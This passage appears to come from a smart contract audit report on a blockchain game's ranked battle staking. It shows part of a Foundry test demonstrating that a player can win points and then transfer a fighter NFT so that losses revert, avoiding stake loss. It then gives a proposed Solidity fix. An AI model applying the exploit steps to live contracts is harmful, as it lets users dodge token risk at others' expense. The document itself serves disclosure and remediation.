        _rankedBattleContract.stakeNRN(1000 * 10 ** 18, 1);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);

        _rankedBattleContract.setNewRound();

        // 6. Stake as much NRN as possible to gain points
        vm.prank(player);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);

        // 7. Win some battles to earn points
        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        vm.stopPrank();

        // If the user decides that he has enough points he could transfer his NFT to other address
        vm.prank(player);
        _fighterFarmContract.transferFrom(player, playerSecondAddress, 0);

        // updateBattleRecord will revert when fighter loses battle
        vm.startPrank(address(_GAME_SERVER_ADDRESS));

        // Comment this line to see that this test fails with "Arithmetic over/underflow"
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
    }

Impact

User can earn NRN tokens without risk of losing tokens that he currently has.

Recommended Mitigation Steps

Add these lines to _addResultPoints. This will stake NFT fighter when he has no amountStaked but some tokens at risk.

function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
        uint256 stakeAtRisk;
        uint256 curStakeAtRisk;
        uint256 points = 0;

        /// Check how many NRNs the fighter has at risk
        stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);

        /// Calculate the staking factor if it has not already been calculated for this round 
        if (_calculatedStakingFactor[tokenId][roundId] == false) {
            stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk);
            _calculatedStakingFactor[tokenId][roundId] = true;
        }

        /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
        if (battleResult == 0) {
            /// If the user won the match

            /// If the user has no NRNs at risk, then they can earn points
            if (stakeAtRisk == 0) {
                points = stakingFactor[tokenId] * eloFactor;
            }

            /// Divert a portion of the points to the merging pool
            uint256 mergingPoints = (points * mergingPortion) / 100;
            points -= mergingPoints;
            _mergingPoolInstance.addPoints(tokenId, mergingPoints);

            /// Do not allow users to reclaim more NRNs than they have at risk
            if (curStakeAtRisk > stakeAtRisk) {
                curStakeAtRisk = stakeAtRisk;
            }

            /// If the user has stake-at-risk for their fighter, reclaim a portion
            /// Reclaiming stake-at-risk puts the NRN back into their staking pool
            if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
+               if (amountStaked[tokenId] == 0) {
+                  _fighterFarmInstance.updateFighterStaking(tokenId, true);
+               }
                amountStaked[tokenId] += curStakeAtRisk;
            }

            /// Add points to the fighter for this round
            accumulatedPointsPerFighter[tokenId][roundId] += points;
            accumulatedPointsPerAddress[fighterOwner][roundId] += points;
            totalAccumulatedPoints[roundId] += points;
            if (points > 0) {
                emit PointsChanged(tokenId, points, true);
            }
        } else if (battleResult == 2) {
            /// If the user lost the match

            /// Do not allow users to lose more NRNs than they have in their staking pool
            if (curStakeAtRisk > amountStaked[tokenId]) {
                curStakeAtRisk = amountStaked[tokenId];
            }
            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
                /// If the fighter has a positive point balance for this round, deduct points 
                points = stakingFactor[tokenId] * eloFactor;
                if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                    points = accumulatedPointsPerFighter[tokenId][roundId];
                }
                accumulatedPointsPerFighter[tokenId][roundId] -= points;
                accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
                totalAccumulatedPoints[roundId] -= points;
                if (points > 0) {
                    emit PointsChanged(tokenId, points, false);
                }
            } else {
                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk;
                }
            }
        }
    }

Also to add extra security, do not unstake fighter when he has some stake at risk in unstakeNRN.

    function unstakeNRN(uint256 amount, uint256 tokenId) external {
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        if (amount > amountStaked[tokenId]) {
            amount = amountStaked[tokenId];
        }
        amountStaked[tokenId] -= amount;
        globalStakedAmount -= amount;
        stakingFactor[tokenId] = _getStakingFactor(
            tokenId, 
            _stakeAtRiskInstance.getStakeAtRisk(tokenId)
        );
        _calculatedStakingFactor[tokenId][roundId] = true;
        hasUnstaked[tokenId][roundId] = true;
        bool success = _neuronInstance.transfer(msg.sender, amount);
        if (success) {
+           stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
+           if (amountStaked[tokenId] == 0 && stakeAtRisk == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, false);
            }
            emit Unstaked(msg.sender, amount);
        }
    }

Assessed type

Other